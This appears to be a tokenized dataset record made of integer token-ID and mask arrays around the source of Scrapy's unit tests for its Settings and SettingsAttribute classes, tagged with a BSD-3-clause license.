32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
9486,
199,
646,
5796,
199,
504,
1134,
575,
82,
492,
333,
384,
647,
12,
2984,
5750,
199,
504,
14296,
492,
7799,
199,
3,
492,
747,
199,
3,
736,
14,
2314,
905,
15263,
63,
16983,
937,
275,
519,
2,
35,
3427,
4718,
1465,
60,
23644,
60,
23644,
24,
14,
21,
2,
199,
3,
736,
14,
2314,
905,
52,
1981,
63,
16983,
937,
275,
519,
2,
35,
3427,
4718,
1465,
60,
23644,
60,
23644,
24,
14,
21,
2,
199,
199,
3,
6121,
5317,
584,
273,
89,
26,
486,
384,
647,
12,
1559,
2180,
199,
199,
2926,
275,
378,
199,
363,
4844,
63,
9350,
363,
275,
715,
421,
199,
318,
620,
63,
7036,
8,
1113,
304,
272,
340,
1228,
8,
1113,
12,
1211,
304,
267,
340,
4396,
4844,
63,
9350,
16526,
315,
1559,
26,
288,
372,
298,
2801,
9350,
13,
2924,
267,
340,
298,
277,
2,
315,
1559,
436,
1228,
8,
1113,
905,
277,
2255,
2984,
5750,
14,
23879,
11930,
304,
288,
372,
298,
2801,
5750,
13,
2924,
272,
372,
620,
8,
344,
8,
1113,
430,
435,
7244,
298,
435,
620,
8,
1113,
18562,
1960,
1055,
1814,
4582,
82,
60,
78,
401,
9926,
82,
1103,
78,
3471,
1814,
4582,
78,
401,
9926,
78,
531,
421,
199,
318,
1056,
8,
3799,
12,
6369,
304,
272,
2288,
3650,
12,
6149,
272,
870,
480,
17575,
531,
272,
870,
480,
7484,
26,
8352,
908,
8,
9493,
14,
7112,
4059,
272,
870,
480,
22785,
26,
8352,
908,
8,
12562,
14,
2682,
63,
835,
4059,
339,
3650,
847,
413,
272,
340,
3650,
508,
413,
26,
267,
1006,
63,
1462,
275,
333,
384,
647,
14,
362,
63,
1462,
342,
267,
6149,
275,
333,
384,
647,
14,
1541,
8,
452,
63,
1462,
12,
7799,
14,
3225,
2788,
16,
61,
272,
340,
3650,
508,
499,
26,
267,
26242,
275,
2984,
5750,
14,
23879,
11930,
8,
4266,
12,
499,
12,
620,
63,
7036,
12,
11982,
29,
797,
9,
267,
2150,
6149,
221,
327,
886,
642,
370,
625,
6843,
938,
2455,
267,
26242,
14,
973,
8,
549,
9,
267,
327,
870,
4582,
82,
60,
78,
1674,
904,
8,
495,
8,
88,
18562,
1960,
61,
367,
671,
315,
9486,
14,
362,
63,
21928,
21105,
8,
4266,
1724,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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scrapy.settings import Settings, SettingsAttribute, CrawlerSettings
from tests import mock
from . import default_settings
class SettingsAttributeTest(unittest.TestCase):
def setUp(self):
self.attribute = SettingsAttribute('value', 10)
def test_set_greater_priority(self):
self.attribute.set('value2', 20)
self.assertEqual(self.attribute.value, 'value2')
self.assertEqual(self.attribute.priority, 20)
def test_set_equal_priority(self):
self.attribute.set('value2', 10)
self.assertEqual(self.attribute.value, 'value2')
self.assertEqual(self.attribute.priority, 10)
def test_set_less_priority(self):
self.attribute.set('value2', 0)
self.assertEqual(self.attribute.value, 'value')
self.assertEqual(self.attribute.priority, 10)
class SettingsTest(unittest.TestCase):
if six.PY3:
assertItemsEqual = unittest.TestCase.assertCountEqual
def setUp(self):
self.settings = Settings()
@mock.patch.dict('scrapy.settings.SETTINGS_PRIORITIES', {'default': 10})
@mock.patch('scrapy.settings.default_settings', default_settings)
def test_initial_defaults(self):
settings = Settings()
self.assertEqual(len(settings.attributes), 1)
self.assertIn('TEST_DEFAULT', settings.attributes)
attr = settings.attributes['TEST_DEFAULT']
self.assertIsInstance(attr, SettingsAttribute)
self.assertEqual(attr.value, 'defvalue')
self.assertEqual(attr.priority, 10)
@mock.patch.dict('scrapy.settings.SETTINGS_PRIORITIES', {})
@mock.patch('scrapy.settings.default_settings', {})
def test_initial_values(self):
settings = Settings({'TEST_OPTION': 'value'}, 10)
self.assertEqual(len(settings.attributes), 1)
self.assertIn('TEST_OPTION', settings.attributes)
attr = settings.attributes['TEST_OPTION']
self.assertIsInstance(attr, SettingsAttribute)
self.assertEqual(attr.value, 'value')
self.assertEqual(attr.priority, 10)
def test_set_new_attribute(self):
self.settings.attributes = {}
self.settings.set('TEST_OPTION', 'value', 0)
self.assertIn('TEST_OPTION', self.settings.attributes)
attr = self.settings.attributes['TEST_OPTION']
self.assertIsInstance(attr, SettingsAttribute)
self.assertEqual(attr.value, 'value')
self.assertEqual(attr.priority, 0)
def test_set_instance_identity_on_update(self):
attr = SettingsAttribute('value', 0)
self.settings.attributes = {'TEST_OPTION': attr}
self.settings.set('TEST_OPTION', 'othervalue', 10)
self.assertIn('TEST_OPTION', self.settings.attributes)
self.assertIs(attr, self.settings.attributes['TEST_OPTION'])
def test_set_calls_settings_attributes_methods_on_update(self):
with mock.patch.object(SettingsAttribute, '__setattr__') as mock_setattr, \
mock.patch.object(SettingsAttribute, 'set') as mock_set:
attr = SettingsAttribute('value', 10)
self.settings.attributes = {'TEST_OPTION': attr}
mock_set.reset_mock()
mock_setattr.reset_mock()
for priority in (0, 10, 20):
self.settings.set('TEST_OPTION', 'othervalue', priority)
mock_set.assert_called_once_with('othervalue', priority)
self.assertFalse(mock_setattr.called)
mock_set.reset_mock()
mock_setattr.reset_mock()
def test_setdict_alias(self):
with mock.patch.object(self.settings, 'set') as mock_set:
self.settings.setdict({'TEST_1': 'value1', 'TEST_2': 'value2'}, 10)
self.assertEqual(mock_set.call_count, 2)
calls = [mock.call('TEST_1', 'value1', 10),
mock.call('TEST_2', 'value2', 10)]
mock_set.assert_has_calls(calls, any_order=True)
def test_setmodule_only_load_uppercase_vars(self):
class ModuleMock():
UPPERCASE_VAR = 'value'
MIXEDcase_VAR = 'othervalue'
lowercase_var = 'anothervalue'
self.settings.attributes = {}
self.settings.setmodule(ModuleMock(), 10)
self.assertIn('UPPERCASE_VAR', self.settings.attributes)
self.assertNotIn('MIXEDcase_VAR', self.settings.attributes)
self.assertNotIn('lowercase_var', self.settings.attributes)
self.assertEqual(len(self.settings.attributes), 1)
def test_setmodule_alias(self):
with mock.patch.object(self.settings, 'set') as mock_set:
self.settings.setmodule(default_settings, 10)
mock_set.assert_called_with('TEST_DEFAULT', 'defvalue', 10)
def test_setmodule_by_path(self):
self.settings.attributes = {}
self.settings.setmodule(default_settings, 10)
ctrl_attributes = self.settings.attributes.copy()
self.settings.attributes = {}
self.settings.setmodule(
'tests.test_settings.default_settings', 10)
self.assertItemsEqual(six.iterkeys(self.settings.attributes),
six.iterkeys(ctrl_attributes))
for attr, ctrl_attr in zip(six.itervalues(self.settings.attributes),
six.itervalues(ctrl_attributes)):
self.assertEqual(attr.value, ctrl_attr.value)
self.assertEqual(attr.priority, ctrl_attr.priority)
def test_get(self):
test_configuration = {
'TEST_ENABLED1': '1',
'TEST_ENABLED2': True,
'TEST_ENABLED3': 1,
'TEST_DISABLED1': '0',
'TEST_DISABLED2': False,
'TEST_DISABLED3': 0,
'TEST_INT1': 123,
'TEST_INT2': '123',
'TEST_FLOAT1': 123.45,
'TEST_FLOAT2': '123.45',
'TEST_LIST1': ['one', 'two'],
'TEST_LIST2': 'one,two',
'TEST_STR': 'value',
'TEST_DICT1': {'key1': 'val1', 'ke2': 3},
'TEST_DICT2': '{"key1": "val1", "ke2": 3}',
}
settings = self.settings
settings.attributes = {key: SettingsAttribute(value, 0) for key, value
in six.iteritems(test_configuration)}
self.assertTrue(settings.getbool('TEST_ENABLED1'))
self.assertTrue(settings.getbool('TEST_ENABLED2'))
self.assertTrue(settings.getbool('TEST_ENABLED3'))
self.assertFalse(settings.getbool('TEST_ENABLEDx'))
self.assertTrue(settings.getbool('TEST_ENABLEDx', True))
self.assertFalse(settings.getbool('TEST_DISABLED1'))
self.assertFalse(settings.getbool('TEST_DISABLED2'))
self.assertFalse(settings.getbool('TEST_DISABLED3'))
self.assertEqual(settings.getint('TEST_INT1'), 123)
self.assertEqual(settings.getint('TEST_INT2'), 123)
self.assertEqual(settings.getint('TEST_INTx'), 0)
self.assertEqual(settings.getint('TEST_INTx', 45), 45)
self.assertEqual(settings.getfloat('TEST_FLOAT1'), 123.45)
self.assertEqual(settings.getfloat('TEST_FLOAT2'), 123.45)
self.assertEqual(settings.getfloat('TEST_FLOATx'), 0.0)
self.assertEqual(settings.getfloat('TEST_FLOATx', 55.0), 55.0)
self.assertEqual(settings.getlist('TEST_LIST1'), ['one', 'two'])
self.assertEqual(settings.getlist('TEST_LIST2'), ['one', 'two'])
self.assertEqual(settings.getlist('TEST_LISTx'), [])
self.assertEqual(settings.getlist('TEST_LISTx', ['default']), ['default'])
self.assertEqual(settings['TEST_STR'], 'value')
self.assertEqual(settings.get('TEST_STR'), 'value')
self.assertEqual(settings['TEST_STRx'], None)
self.assertEqual(settings.get('TEST_STRx'), None)
self.assertEqual(settings.get('TEST_STRx', 'default'), 'default')
self.assertEqual(settings.getdict('TEST_DICT1'), {'key1': 'val1', 'ke2': 3})
self.assertEqual(settings.getdict('TEST_DICT2'), {'key1': 'val1', 'ke2': 3})
self.assertEqual(settings.getdict('TEST_DICT3'), {})
self.assertEqual(settings.getdict('TEST_DICT3', {'key1': 5}), {'key1': 5})
self.assertRaises(ValueError, settings.getdict, 'TEST_LIST1')
def test_copy(self):
values = {
'TEST_BOOL': True,
'TEST_LIST': ['one', 'two'],
'TEST_LIST_OF_LISTS': [['first_one', 'first_two'],
['second_one', 'second_two']]
}
self.settings.setdict(values)
copy = self.settings.copy()
self.settings.set('TEST_BOOL', False)
self.assertTrue(copy.get('TEST_BOOL'))
test_list = self.settings.get('TEST_LIST')
test_list.append('three')
self.assertListEqual(copy.get('TEST_LIST'), ['one', 'two'])
test_list_of_lists = self.settings.get('TEST_LIST_OF_LISTS')
test_list_of_lists[0].append('first_three')
self.assertListEqual(copy.get('TEST_LIST_OF_LISTS')[0],
['first_one', 'first_two'])
def test_freeze(self):
self.settings.freeze()
with self.assertRaises(TypeError) as cm:
self.settings.set('TEST_BOOL', False)
self.assertEqual(str(cm.exception),
"Trying to modify an immutable Settings object")
def test_frozencopy(self):
frozencopy = self.settings.frozencopy()
self.assertTrue(frozencopy.frozen)
self.assertIsNot(frozencopy, self.settings)
def test_deprecated_attribute_overrides(self):
self.settings.set('BAR', 'fuz', priority='cmdline')
with warnings.catch_warnings(record=True) as w:
self.settings.overrides['BAR'] = 'foo'
self.assertIn("Settings.overrides", str(w[0].message))
self.assertEqual(self.settings.get('BAR'), 'foo')
self.assertEqual(self.settings.overrides.get('BAR'), 'foo')
self.assertIn('BAR', self.settings.overrides)
self.settings.overrides.update(BAR='bus')
self.assertEqual(self.settings.get('BAR'), 'bus')
self.assertEqual(self.settings.overrides.get('BAR'), 'bus')
self.settings.overrides.setdefault('BAR', 'fez')
self.assertEqual(self.settings.get('BAR'), 'bus')
self.settings.overrides.setdefault('FOO', 'fez')
self.assertEqual(self.settings.get('FOO'), 'fez')
self.assertEqual(self.settings.overrides.get('FOO'), 'fez')
def test_deprecated_attribute_defaults(self):
self.settings.set('BAR', 'fuz', priority='default')
with warnings.catch_warnings(record=True) as w:
self.settings.defaults['BAR'] = 'foo'
self.assertIn("Settings.defaults", str(w[0].message))
self.assertEqual(self.settings.get('BAR'), 'foo')
self.assertEqual(self.settings.defaults.get('BAR'), 'foo')
self.assertIn('BAR', self.settings.defaults)
class CrawlerSettingsTest(unittest.TestCase):
def test_deprecated_crawlersettings(self):
def _get_settings(settings_dict=None):
settings_module = type('SettingsModuleMock', (object,), settings_dict or {})
return CrawlerSettings(settings_module)
with warnings.catch_warnings(record=True) as w:
settings = _get_settings()
self.assertIn("CrawlerSettings is deprecated", str(w[0].message))
# test_global_defaults
self.assertEqual(settings.getint('DOWNLOAD_TIMEOUT'), 180)
# test_defaults
settings.defaults['DOWNLOAD_TIMEOUT'] = '99'
self.assertEqual(settings.getint('DOWNLOAD_TIMEOUT'), 99)
# test_settings_module
settings = _get_settings({'DOWNLOAD_TIMEOUT': '3'})
self.assertEqual(settings.getint('DOWNLOAD_TIMEOUT'), 3)
# test_overrides
settings = _get_settings({'DOWNLOAD_TIMEOUT': '3'})
settings.overrides['DOWNLOAD_TIMEOUT'] = '15'
self.assertEqual(settings.getint('DOWNLOAD_TIMEOUT'), 15)
if __name__ == "__main__":
unittest.main()
|
bsd-3-clause
|
[
646,
3816,
199,
646,
2882,
199,
646,
3598,
199,
199,
504,
18918,
14,
1751,
492,
13303,
12,
13303,
1646,
12,
445,
16057,
5268,
199,
504,
2295,
492,
1683,
199,
504,
1275,
492,
849,
63,
1751,
421,
199,
533,
13303,
1646,
774,
8,
2796,
14,
1746,
304,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
3215,
275,
13303,
1646,
360,
585,
297,
1616,
9,
339,
347,
511,
63,
409,
63,
13154,
63,
6693,
8,
277,
304,
267,
291,
14,
3215,
14,
409,
360,
585,
18,
297,
3388,
9,
267,
291,
14,
629,
8,
277,
14,
3215,
14,
585,
12,
283,
585,
18,
358,
267,
291,
14,
629,
8,
277,
14,
3215,
14,
6693,
12,
3388,
9,
339,
347,
511,
63,
409,
63,
1452,
63,
6693,
8,
277,
304,
267,
291,
14,
3215,
14,
409,
360,
585,
18,
297,
1616,
9,
267,
291,
14,
629,
8,
277,
14,
3215,
14,
585,
12,
283,
585,
18,
358,
267,
291,
14,
629,
8,
277,
14,
3215,
14,
6693,
12,
1616,
9,
339,
347,
511,
63,
409,
63,
2003,
63,
6693,
8,
277,
304,
267,
291,
14,
3215,
14,
409,
360,
585,
18,
297,
378,
9,
267,
291,
14,
629,
8,
277,
14,
3215,
14,
585,
12,
283,
585,
358,
267,
291,
14,
629,
8,
277,
14,
3215,
14,
6693,
12,
1616,
9,
421,
199,
533,
13303,
774,
8,
2796,
14,
1746,
304,
339,
340,
3816,
14,
4521,
19,
26,
267,
702,
7412,
591,
275,
2882,
14,
1746,
14,
30993,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
1751,
275,
13303,
342,
339,
768,
1805,
14,
2068,
14,
807,
360,
26442,
14,
1751,
14,
13931,
63,
20076,
726,
19144,
297,
791,
885,
356,
1616,
1552,
272,
768,
1805,
14,
2068,
360,
26442,
14,
1751,
14,
885,
63,
1751,
297,
849,
63,
1751,
9,
272,
347,
511,
63,
2747,
63,
4322,
8,
277,
304,
267,
2202,
275,
13303,
342,
267,
291,
14,
629,
8,
552,
8,
1751,
14,
2987,
395,
413,
9,
267,
291,
14,
4080,
360,
2864,
63,
3472,
297,
2202,
14,
2987,
9,
398,
1921,
275,
2202,
14,
2987,
459,
2864,
63,
3472,
418,
267,
291,
14,
6926,
8,
962,
12,
13303,
1646,
9,
267,
291,
14,
629,
8,
962,
14,
585,
12,
283,
318,
585,
358,
267,
291,
14,
629,
8,
962,
14,
6693,
12,
1616,
9,
339,
768,
1805,
14,
2068,
14,
807,
360,
26442,
14,
1751,
14,
13931,
63,
20076,
726,
19144,
297,
5009,
272,
768,
1805,
14,
2068,
360,
26442,
14,
1751,
14,
885,
63,
1751,
297,
5009,
272,
347,
511,
63,
2747,
63,
1459,
8,
277,
304,
267,
2202,
275,
13303,
3252,
2864,
63,
13352,
356,
283,
585,
2267,
1616,
9,
267,
291,
14,
629,
8,
552,
8,
1751,
14,
2987,
395,
413,
9,
267,
291,
14,
4080,
360,
2864,
63,
13352,
297,
2202,
14,
2987,
9,
398,
1921,
275,
2202,
14,
2987,
459,
2864,
63,
13352,
418,
267,
291,
14,
6926,
8,
962,
12,
13303,
1646,
9,
267,
291,
14,
629,
8,
962,
14,
585,
12,
283,
585,
358,
267,
291,
14,
629,
8,
962,
14,
6693,
12,
1616,
9,
339,
347,
511,
63,
409,
63,
1222,
63,
3215,
8,
277,
304,
267,
291,
14,
1751,
14,
2987,
275,
1052,
267,
291,
14,
1751,
14,
409,
360,
2864,
63,
13352,
297,
283,
585,
297,
378,
9,
267,
291,
14,
4080,
360,
2864,
63,
13352,
297,
291,
14,
1751,
14,
2987,
9,
398,
1921,
275,
291,
14,
1751,
14,
2987,
459,
2864,
63,
13352,
418,
267,
291,
14,
6926,
8,
962,
12,
13303,
1646,
9,
267,
291,
14,
629,
8,
962,
14,
585,
12,
283,
585,
358,
267,
291,
14,
629,
8,
962,
14,
6693,
12,
378,
9,
339,
347,
511,
63,
409,
63,
842,
63,
5582,
63,
265,
63,
873,
8,
277,
304,
267,
1921,
275,
13303,
1646,
360,
585,
297,
378,
9,
267,
291,
14,
1751,
14,
2987,
275,
791,
2864,
63,
13352,
356,
1921,
93,
267,
291,
14,
1751,
14,
409,
360,
2864,
63,
13352,
297,
283,
1848,
585,
297,
1616,
9,
398,
291,
14,
4080,
360,
2864,
63,
13352,
297,
291,
14,
1751,
14,
2987,
9,
267,
291,
14,
3436,
8,
962,
12,
291,
14,
1751,
14,
2987,
459,
2864,
63,
13352,
1105,
339,
347,
511,
63,
409,
63,
5352,
63,
1751,
63,
2987,
63,
2474,
63,
265,
63,
873,
8,
277,
304,
267,
543,
1683,
14,
2068,
14,
785,
8,
5268,
1646,
12,
2560,
10202,
13766,
465,
1683,
63,
10202,
12,
971,
355,
1683,
14,
2068,
14,
785,
8,
5268,
1646,
12,
283,
409,
358,
465,
1683,
63,
409,
26,
953,
1921,
275,
13303,
1646,
360,
585,
297,
1616,
9,
288,
291,
14,
1751,
14,
2987,
275,
791,
2864,
63,
13352,
356,
1921,
93,
288,
1683,
63,
409,
14,
3958,
63,
1805,
342,
288,
1683,
63,
10202,
14,
3958,
63,
1805,
342,
953,
367,
7464,
315,
334,
16,
12,
1616,
12,
3388,
304,
355,
291,
14,
1751,
14,
409,
360,
2864,
63,
13352,
297,
283,
1848,
585,
297,
7464,
9,
355,
1683,
63,
409,
14,
479,
63,
3527,
63,
5089,
63,
1045,
360,
1848,
585,
297,
7464,
9,
355,
291,
14,
3334,
8,
1805,
63,
10202,
14,
3527,
9,
355,
1683,
63,
409,
14,
3958,
63,
1805,
342,
355,
1683,
63,
10202,
14,
3958,
63,
1805,
342,
339,
347,
511,
63,
409,
807,
63,
3620,
8,
277,
304,
267,
543,
1683,
14,
2068,
14,
785,
8,
277,
14,
1751,
12,
283,
409,
358,
465,
1683,
63,
409,
26,
288,
291,
14,
1751,
14,
409,
807,
3252,
2864,
63,
17,
356,
283,
585,
17,
297,
283,
2864,
63,
18,
356,
283,
585,
18,
2267,
1616,
9,
288,
291,
14,
629,
8,
1805,
63,
409,
14,
1250,
63,
835,
12,
499,
9,
288,
4882,
275,
359,
1805,
14,
1250,
360,
2864,
63,
17,
297,
283,
585,
17,
297,
1616,
395,
2151,
1683,
14,
1250,
360,
2864,
63,
18,
297,
283,
585,
18,
297,
1616,
1874,
288,
1683,
63,
409,
14,
479,
63,
1989,
63,
5352,
8,
5352,
12,
1263,
63,
1648,
29,
549,
9,
339,
347,
511,
63,
409,
578,
63,
2118,
63,
912,
63,
26831,
63,
2936,
8,
277,
304,
267,
1021,
5673,
3346,
837,
288,
27300
] |
[
3816,
199,
646,
2882,
199,
646,
3598,
199,
199,
504,
18918,
14,
1751,
492,
13303,
12,
13303,
1646,
12,
445,
16057,
5268,
199,
504,
2295,
492,
1683,
199,
504,
1275,
492,
849,
63,
1751,
421,
199,
533,
13303,
1646,
774,
8,
2796,
14,
1746,
304,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
3215,
275,
13303,
1646,
360,
585,
297,
1616,
9,
339,
347,
511,
63,
409,
63,
13154,
63,
6693,
8,
277,
304,
267,
291,
14,
3215,
14,
409,
360,
585,
18,
297,
3388,
9,
267,
291,
14,
629,
8,
277,
14,
3215,
14,
585,
12,
283,
585,
18,
358,
267,
291,
14,
629,
8,
277,
14,
3215,
14,
6693,
12,
3388,
9,
339,
347,
511,
63,
409,
63,
1452,
63,
6693,
8,
277,
304,
267,
291,
14,
